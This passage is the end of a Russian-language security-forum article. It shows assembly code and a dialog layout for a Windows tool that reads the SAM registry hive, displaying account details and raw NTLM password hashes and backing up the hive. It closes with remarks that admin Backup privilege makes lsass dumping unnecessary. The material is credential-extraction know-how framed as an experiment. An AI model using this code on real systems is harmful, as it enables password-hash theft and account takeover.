          mov     eax,[esi+SAM_F.ACB]  ;//<----- состояние учётной записи
          mov     ebx,userOff
          bt      eax,0                ;// бит(0) = отключена
          jc      @f
          mov     ebx,userOn
@@:       invoke  SetDlgItemText,[hDlg],ID_Stat,ebx

          mov     esi,f_Buff
          lea     eax,[esi+SAM_F.LastLogon]
          invoke  FileTimeToSystemTime,eax,stm
          movzx   eax,[stm.wDay]
          movzx   ebx,[stm.wMonth]
          movzx   ecx,[stm.wYear]
         cinvoke  wsprintf,buff,<'%02d.%02d.%d',0>,eax,ebx,ecx
          invoke  SetDlgItemText,[hDlg],ID_Time,buff

          mov     esi,f_Buff
          lea     eax,[esi+SAM_F.PassLastSet]
          invoke  FileTimeToSystemTime,eax,stm
          movzx   eax,[stm.wDay]
          movzx   ebx,[stm.wMonth]
          movzx   ecx,[stm.wYear]
         cinvoke  wsprintf,buff,<'%02d.%02d.%d',0>,eax,ebx,ecx
          invoke  SetDlgItemText,[hDlg],ID_Pass,buff

          mov     esi,f_Buff
          lea     eax,[esi+SAM_F.LastBadPass]
          invoke  FileTimeToSystemTime,eax,stm
          movzx   eax,[stm.wDay]
          movzx   ebx,[stm.wMonth]
          movzx   ecx,[stm.wYear]
         cinvoke  wsprintf,buff,<'%02d.%02d.%d',0>,eax,ebx,ecx
          invoke  SetDlgItemText,[hDlg],ID_Bad,buff

          mov     esi,f_Buff
          movzx   eax,[esi+SAM_F.LogonCount]
         cinvoke  wsprintf,buff,<'%d',0>,eax
          invoke  SetDlgItemText,[hDlg],ID_Lcnt,buff

          mov     esi,f_Buff
          movzx   eax,[esi+SAM_F.BadPassCount]
         cinvoke  wsprintf,buff,<'%d',0>,eax
          invoke  SetDlgItemText,[hDlg],ID_Bcnt,buff

;// Вывод инфы из ключа "V" (variable)
         stdcall  ClearBuff,buff,2048
          mov     [pDataSize],2048
          invoke  RegGetValue,[hUserRid],0,<'V',0>,RRF_RT_ANY,pdwType,buff,pDataSize
          or      eax,eax
          jz      @f
          invoke  MessageBox,0,<'Ошибка!',10,'Не удалось прочитать ключ(V)',0>,0,0x10
          popa
          ret

@@:       invoke  SetDlgItemText,[hDlg],ID_NHash,<'Не найден',0>
          invoke  SetDlgItemText,[hDlg],ID_Sid,<'Учётная запись зарегистрированного пользователя',0>

          mov     esi,buff
          push    [esi+SAM_V.Comment.Offset]
          push    [esi+SAM_V.Comment.Size]

          mov     ebx,[esi+SAM_V.NTHash.Offset]
          add     ebx,0xCC+4
          add     ebx,buff
          cmp     [osFlag],10
          jnz     @win7
          add     ebx,4

@win7:    mov     eax,[esi+SAM_V.NTHash.Size]
          cmp     eax,4
          ja      @ntOk
          jmp     @comment
@ntOk:    mov     eax,[ebx]
          mov     ecx,[ebx+4]
          mov     edx,[ebx+8]
          mov     ebx,[ebx+12]
          bswap   eax
          bswap   ecx
          bswap   edx
          bswap   ebx
         cinvoke  wsprintf, buff,<'%X%X%X%X',0>,eax,ecx,edx,ebx
          invoke  SetDlgItemText,[hDlg],ID_NHash,buff

@comment: pop     ecx esi
          add     esi,0xCC
          add     esi,buff
          or      ecx,ecx
          jz      @end
          mov     edi,buff+1024
          shr     ecx,1
@@:       lodsw
          stosw
          loop    @b
          mov     dword[edi],0
          invoke  SetDlgItemTextW,[hDlg],ID_Sid,buff+1024

@end:     invoke  RegCloseKey,[hUserRid]
          popa
          ret
endp

;//------------------
section '.idata' import data readable writeable
library  kernel32,'kernel32.dll',shell32,'shell32.dll',user32,'user32.dll',\
         advapi32,'advapi32.dll',crypt32,'crypt32.dll',comctl32,'comctl32.dll',gdi32,'gdi32.dll'
include  'api\user32.inc'
include  'api\crypt32.inc'
include  'api\shell32.inc'
include  'api\kernel32.inc'
include  'api\advapi32.inc'
include  'api\comctl32.inc'
include  'api\gdi32.inc'

;//------------------
section '.rsrc' data resource readable
directory  RT_DIALOG, dialogs,\
           RT_GROUP_ICON, Icons,\
           RT_ICON, my_icon

resource dialogs, 100, LANG_ENGLISH + SUBLANG_DEFAULT, mainform
resource Icons,   101, LANG_NEUTRAL, myicons
resource my_icon, 102, LANG_NEUTRAL, myicon

dialog mainform,'',0,0,400,240, DS_3DLOOK+WS_CAPTION+WS_SYSMENU+DS_CENTER,,,'Verdana',8
  dialogitem 'Button',' Коды классов в ветке LSA ',\
                                     -1,010,010,125,079, WS_VISIBLE+BS_GROUPBOX+BS_CENTER
  dialogitem 'Static',' Ключ JD',    -1,015,028,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Ключ Skew1', -1,015,042,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Ключ GBG',   -1,015,056,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Ключ Data',  -1,015,070,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static','',ID_JD, 068,028,060,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_SK, 068,042,060,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_GB, 068,056,060,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_DT, 068,070,060,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN

  dialogitem 'Button',' Раздел реестра SAM - общая информация ',\
                                        -1,150,010,240,079, WS_VISIBLE+BS_GROUPBOX+BS_CENTER
  dialogitem 'Static',' BootKey',       -1,155,028,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Сохранён в',    -1,155,042,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Доступна ветка',-1,155,056,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Версия ОС',     -1,155,070,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static','',ID_Key,   215,028,167,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_File,  215,042,118,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_Fsize, 340,042,041,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_Sam,   215,056,167,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_Win,   215,070,167,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN

  dialogitem 'Button',' Свойства учётной записи ',\
                                       -1,150,098,240,110, WS_VISIBLE+BS_GROUPBOX+BS_CENTER
  dialogitem 'Static',' Состояние',    -1,155,116,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Дата входа',   -1,283,116,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Правка пароля',-1,155,131,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Неверный пасс',-1,270,131,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Всего входов в систему', -1,155,145,100,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Всего ошибок входа',     -1,270,145,100,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Raw NTLM Hash',-1,155,160,060,010, WS_VISIBLE+WS_GROUP
  dialogitem 'Static',' Комментарий:', -1,155,174,060,010, WS_VISIBLE+WS_GROUP

  dialogitem 'Static','',ID_Stat, 215,116,050,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_Time, 328,116,053,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_Pass, 215,131,050,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_Bad,  328,131,053,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_Lcnt, 242,145,022,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_Bcnt, 348,145,033,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_NHash,215,160,166,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
  dialogitem 'Static','',ID_Sid,  215,174,166,025, WS_VISIBLE+SS_CENTER+SS_EDITCONTROL

  dialogitem LISTVIEW_CLASS,'',ID_LV,  010,100,125,108, WS_VISIBLE+WS_BORDER +LVS_REPORT
  dialogitem 'BUTTON','Выход',IDCANCEL,275,218,115,013, WS_VISIBLE+BS_DEFPUSHBUTTON
  dialogitem 'BUTTON','Бэкап куста HKLM\SAM',\
                              ID_Save, 150,218,120,013, WS_VISIBLE+BS_PUSHBUTTON
  dialogitem 'BUTTON','Сбросить пароль',\
                              ID_Clear,010,218,125,013, WS_VISIBLE+BS_PUSHBUTTON
enddialog

icon myicons, myicon,'icon34.ico'

Моя Win10 на буке имеет 5 зареганных юзеров, при чём активен только 1

ResW10.webp


В этой демке функционал пимпы "Сбросить пароль" не реализован,
поэтому при нажатии просто получим мессагу. Зато бэкап исправно работает.


ResW7.webp

Чтобы проверить полученный нами ключ BootKey на валидность, можно сравнить его с результатом консольной утилиты BKREG.EXE. Она ожидает единственный параметр в виде имени файла *.txt, и по уже знакомой нам схеме генерит ключ для расшифровки хэшей пароля. Как видим всё совпадает, а значит мы всё сделали правильно:

bkreg.webp


5. Заключение

Как показал данный эксперимент, утверждение типа "Пользователю в сессии(1) закрыт доступ к ветке SAM" не имеет под собой оснований. С привилегией Backup она полностью открыта админу не только на чтение, но и на запись. В результате отпадает необходимость вмешиваться в критически важный процесс системы lsass.exe, чтобы сдампить содержимое его памяти.

В скрепке найдёте весьма интересные доки PDF с описанием алгоритма расшифровки паролей от Win7 до Win10, а так-же исходник этого кода с готовым исполняемым файлом для тестов. Всем удачи, пока!


Ссылки

Набор полезных утилит:
Index of /pub/projects/john/contrib/windows/pwdump

Актуальная информация о хэшах Win10:
Retrieving NTLM Hashes and what changed in Windows 10

Базовая дока о SAM, на которую ссылаются все, кому не лень:
SysKey and the SAM

Хабр тоже в курсе всех интересных событий:
Хранение и шифрование паролей Microsoft Windows
 

Вложения

Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab